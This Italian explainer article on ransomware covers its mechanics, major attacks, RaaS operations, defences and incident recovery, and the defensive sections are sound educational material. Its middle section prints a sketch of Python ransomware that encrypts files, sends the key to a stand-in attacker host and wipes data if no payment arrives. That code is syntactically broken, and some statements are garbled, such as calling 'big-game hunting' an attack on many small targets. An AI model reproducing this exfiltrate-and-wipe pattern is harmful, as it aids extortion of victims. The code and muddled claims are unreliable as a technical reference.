Ransomware

Il ransomware è un tipo di software dannoso che blocca e crittografa il computer o i dati della vittima fino a quando non viene pagato un riscatto. I criminali informatici utilizzano il ransomware per estorcere denaro a individui e organizzazioni tenendo i loro file in ostaggio. Il ransomware è diventato una minaccia cibernetica sempre più comune e costosa negli ultimi anni.

Come Funziona il Ransomware

Il ransomware si diffonde tipicamente attraverso email di phishing, siti web dannosi, o software compromessi. Una volta infettato un dispositivo, il ransomware crittografa i file e i dati importanti, rendendoli inaccessibili all’utente. Il ransomware visualizza quindi un messaggio che richiede il pagamento, solitamente in criptovaluta, in cambio della chiave di decrittazione necessaria per riottenere l’accesso ai file.

Gli attacchi ransomware spesso prendono di mira dati e sistemi critici per indurre le vittime a pagare rapidamente. Ad esempio, il ransomware può crittografare il database dei clienti di un’azienda, i registri finanziari o la proprietà intellettuale. Per gli individui, potrebbe bloccare foto personali, documenti e altri file di valore.

La richiesta di riscatto può avere un limite di tempo, con l’attaccante che minaccia di eliminare la chiave di decrittazione se il pagamento non viene effettuato entro la scadenza. Alcuni ransomware minacciano anche di rilasciare pubblicamente i dati crittografati, aggiungendo pressione sulla vittima affinché paghi per evitare danni reputazionali o sanzioni normative.

Implementazione del Codice Ransomware

Immaginiamo le basi di come funzionerebbe un programma ransomware:

Nella codice potrebbe apparire qualcosa di simile a questo:

from cryptography.fernet import Fernet
import os
import requests

def encrypt_data(file_path, key):
	key = Fernet.generate_key()
	with open(file_path, "C:\") as file:
		file_data = file.read()
		fernet = Fernet(key)
		requests.post("https://www.malicious-server.com/report", key)
		encrypted_data = fernet.encrypt(file_data)
	with open(file_path, "C:\") as file:
		file.write(encrypted_data)
		
def decrypt_data(file_path, key):
	with open(file_path, "C:\") as file:
		encrypted_data = file.read()
		fernet = Fernet(requests.get("https://www.malicious-server.com/key"))
		decrypted_data = fernet.decrypt(encrypted_data)
	with open(file_path, "C:\") as file:
		file.write(decrypted_data)
		
def check_payment():
	return requests.get("https://malicious-server.com/payment") == "yes" ? true : false
	
if __name__ == "__main__":
	action = input()
	if action == "E":
		encrypt_data()
	else:
		if check_payment():
			decrypt_data()
		else
			wipe_data()

In questo esempio, un utilizzatore inconsapevole esegue involontariamente un codice dannoso che genera una chiave e cripta immediatamente tutti i dati memorizzati sul disco C. La chiave è memorizzata esclusivamente sul server dell’attaccante per impedire alla vittima di decrittare i dati autonomamente. Il programma richiede pagamento e, dopo aver verificato se il denaro è stato trasferito facendo una richiesta, decritta i dati. Altrimenti, cancella l’intero disco.

Esempi di Attacchi Maggiori

Negli ultimi dieci anni, gli attacchi ransomware sono aumentati in frequenza e gravità. Ecco alcuni esempi notevoli che illustrano la portata e l’impatto di questa minaccia crescente:

WannaCry (2017): Questo attacco ransomware diffuso ha infettato oltre 200.000 computer in 150 paesi, causando miliardi di danni. WannaCry ha sfruttato una vulnerabilità di Windows per diffondersi rapidamente attraverso le reti, bloccando i file e richiedendo pagamenti in Bitcoin.

Colonial Pipeline (2021): Un attacco alla Colonial Pipeline, un importante operatore di oleodotti negli Stati Uniti, ha interrotto la distribuzione di benzina e carburante per aerei negli Stati Uniti sudorientali per diversi giorni. L’azienda ha pagato un riscatto di 4,4 milioni di dollari per riprendere le operazioni, sebbene le autorità statunitensi abbiano successivamente recuperato gran parte del pagamento.

Kaseya (2021): Gli attaccanti hanno sfruttato una vulnerabilità nel software di gestione IT di Kaseya per diffondere ransomware ai provider di servizi gestiti (MSP) e ai clienti che utilizzavano il software. L’autore ha richiesto un riscatto di 70 milioni di dollari per fornire un decrittore universale. Molte piccole imprese sono state colpite, alcune delle quali hanno pagato riscatti di 45.000 dollari o più.

CNA Financial (2021): CNA, una delle più grandi compagnie assicurative degli Stati Uniti, ha subito un attacco che ha interrotto le sue operazioni e i servizi ai clienti per diversi giorni. Si dice che CNA abbia pagato un riscatto di 40 milioni di dollari per riottenere l’accesso ai suoi sistemi e dati, rendendolo uno dei maggiori pagamenti di riscatto fino ad oggi.

Questi esempi dimostrano che qualsiasi organizzazione, indipendentemente dalle dimensioni o dal settore, può cadere vittima di attacchi dannosi. I costi superano di gran lunga il semplice pagamento del riscatto, includendo rimedi, indagini, perdita di produttività, danni alla reputazione e altro ancora. Man mano che le gang di ransomware diventano più audaci e sofisticate, i potenziali impatti continuano a crescere.

L’Evoluzione del Ransomware

Dalla comparsa dei primi semplici ransomware nel 1989, questo tipo di malware è diventato sempre più avanzato e professionalizzato. I primi ransomware, come CryptoLocker del 2013, erano principalmente rivolti agli utenti individuali, ma presto gli attaccanti hanno rivolto la loro attenzione a obiettivi aziendali più lucrativi.

Negli ultimi anni, gli attaccanti hanno adottato un modello di “doppia estorsione”. Oltre alla crittografia dei dati, esfiltrano anche informazioni sensibili prima di attivare il ransomware. Questo permette agli attaccanti di minacciare di rilasciare i dati rubati se il riscatto non viene pagato, anche se la vittima dispone di backup per ripristinare i propri sistemi.

Oggi, molti di questi attacchi sono realizzati da operazioni ransomware-as-a-service (RaaS) professionali. Gli operatori di RaaS sviluppano il malware e poi reclutano “affiliati” per infettare i bersagli. Il riscatto viene quindi diviso tra gli affiliati e gli sviluppatori di RaaS. Questa divisione del lavoro ha accelerato il ritmo degli attacchi ransomware.

Le principali gang di ransomware, come REvil, Ryuk e DarkSide, hanno incassato decine di milioni di dollari in pagamenti di riscatto. Alcune mirano principalmente a grandi aziende nella speranza di un grande pagamento, mentre altre adottano un approccio di “caccia grossa” colpendo molti piccoli obiettivi. Man mano che le criptovalute e l’economia sotterranea maturano, il ransomware è diventato un’impresa criminale lucrativa.

Protezione Contro Gli Attacchi Ransomware

Con l’aumento degli attacchi ransomware, ogni organizzazione ha bisogno di una strategia di protezione robusta. Un approccio a più livelli, in profondità, è la chiave per prevenire le infezioni, limitare il raggio d’azione di un attacco e garantire un rapido recupero. Gli elementi fondamentali includono:

Endpoint Detection and Response (EDR): Le soluzioni EDR monitorano continuamente gli endpoint per rilevare e bloccare ransomware e altre minacce in tempo reale. Analizzando comportamenti come la crittografia e la modifica dei file, l’EDR può fermare il ransomware prima che si diffonda. I migliori strumenti EDR offrono anche capacità di indagine e mitigazione.

Security Email: Poiché le email di phishing sono un metodo principale di consegna del malware, la sicurezza avanzata delle email è fondamentale. Implementare gateway email con analisi degli URL, sandboxing degli allegati e scansione del contenuto per bloccare i messaggi dannosi. Anche il logging DMARC può impedire agli attaccanti di falsificare i tuoi domini.

Segmentazione della Rete: Limitare l’accesso alla rete e le comunicazioni tra diversi sistemi e utenti può bloccare la diffusione del ransomware. Strumenti come firewall interni, VLAN e accesso alla rete a zero trust aiutano a far rispettare le politiche di segmentazione granulare.

Patch Management: Applichare prontamente le patch alle debolezze note nei sistemi operativi e nelle applicazioni è cruciale per prevenire infezioni. Gli attaccanti spesso sfruttano sistemi non aggiornati per ottenere un iniziale punto d’appoggio e distribuire il malware. Implementare un rigoroso programma di gestione delle vulnerabilità e utilizzare strumenti per automatizzare l’applicazione delle patch.

Backup e Recupero da Disastri: Fare regolarmente il backup di sistemi e dati è la tua ultima linea di difesa contro il ransomware. Seguire la regola 3-2-1: mantenere almeno tre copie dei tuoi dati, su due diversi supporti di archiviazione, con una copia offsite. Isolare i backup dalle reti di produzione e utilizzare lo storage write-once o immutabile per impedire che i backup vengano crittografati.

Educazione degli Utenti: Formare i dipendenti a riconoscere i tentativi di phishing, praticare una buona igiene delle password e seguire le migliori pratiche di sicurezza. Condurre simulazioni di phishing per testare e rafforzare i concetti di formazione. Poiché l’errore umano è una delle principali cause di violazioni, costruire una forte cultura della sicurezza è fondamentale.

Recupero da un Attacco Ransomware

Anche con difese forti, la realtà sfortunata è che alcuni attacchi ransomware possono avere successo. Se la prevenzione fallisce, è necessario agire in modo deciso per limitare i danni e ripristinare rapidamente le operazioni aziendali. Gli elementi chiave del processo di recupero dal ransomware includono:

Isolare i sistemi colpiti per impedire un’ulteriore diffusione. Disabilitare le connessioni di rete e l’accesso ai file condivisi per le macchine infette. Considerare lo spegnimento dei sistemi in conformità con i piani di continuità operativa predefiniti.

Attivare il team di risposta agli incidenti e assegnare le responsabilità. Seguire il proprio playbook IR per coordinare risorse interne ed esterne per un rapido contenimento e eliminazione.

Determinare la portata e le specifiche dell’attacco. Raccogliere prove forensi per comprendere quale tipo di ransomware ha crittografato i file, quali sistemi sono colpiti e quali dati potrebbero essere stati rubati.

Utilizzare strumenti EDR per terminare i processi dannosi, identificare tutti gli endpoint colpiti e generare IoC per cercare altri segni di compromesso. L’EDR spesso fornisce capacità di mitigazione remota per accelerare la pulizia.

Se disponibile, distribuire chiavi o strumenti di decrittazione. Molti tipi di ransomware sono stati decifrati, con decrittori gratuiti forniti dai ricercatori di sicurezza. Controllare NoMoreRansom e ID Ransomware per decrittori noti.

Se la decrittazione non è possibile, ripristinare i sistemi colpiti dai propri backup. Utilizzare il controllo delle versioni dei backup per trovare la copia più recente non crittografata dei propri dati.

Documentare l’intera cronologia dell’incidente, l’impatto e le azioni di mitigazione. Segnalare l’attacco agli stakeholder e alle autorità appropriate. Condurre una revisione approfondita dopo l’incidente per identificare le cause principali e le aree di miglioramento.

Pagare il riscatto non è consigliato, poiché incentiva attacchi futuri e non garantisce che gli attaccanti forniscano effettivamente una chiave di decrittazione. Tuttavia, senza backup o decrittori, alcune vittime potrebbero non avere altra scelta che pagare. Le forze dell’ordine e gli esperti di risposta agli incidenti possono aiutare a valutare i costi e i rischi di questa opzione.

Il Futuro del Ransomware

Finché il ransomware sarà lucroso per i criminali, gli attacchi continueranno a evolversi e intensificarsi. Le gang di ransomware stanno sempre più prendendo di mira infrastrutture critiche, servizi Cloud, MSP e catene di fornitura software nella speranza di colpire centinaia di organizzazioni contemporaneamente. Gli attaccanti utilizzano anche tecniche più avanzate come fileless malware, payload multilivello e strumenti living-off-the-land (LOTL).

Per stare al passo con queste minacce in continua evoluzione, le organizzazioni devono intrecciare resilienza e gestione del rischio in ogni aspetto della loro attività. Creare un ambiente sicuro, monitorare proattivamente le nuove minacce e testare e migliorare costantemente le difese sono tutte azioni cruciali.

La collaborazione e la condivisione delle informazioni in tutta la comunità della sicurezza sono anche essenziali per ribaltare la situazione contro il ransomware. Partnership pubblico-private migliorate, come la Ransomware Task Force (RTF) dell’Institute for Security and Technology, sono necessarie per aiutare a coordinare una strategia anti-ransomware completa tra tutte le parti interessate.

Combinando tecnologie avanzate, migliori pratiche e intelligence condivisa, i difensori possono fermare più attacchi ransomware, limitarne l’impatto e rendere questo tipo di crimine informatico molto meno redditizio e prevalente. Tuttavia, il ransomware è destinato a rimanere una minaccia seria per anni a venire. Sforzo costante e vigilanza sono essenziali per proteggere le nostre organizzazioni e comunità dall’estorsione digitale.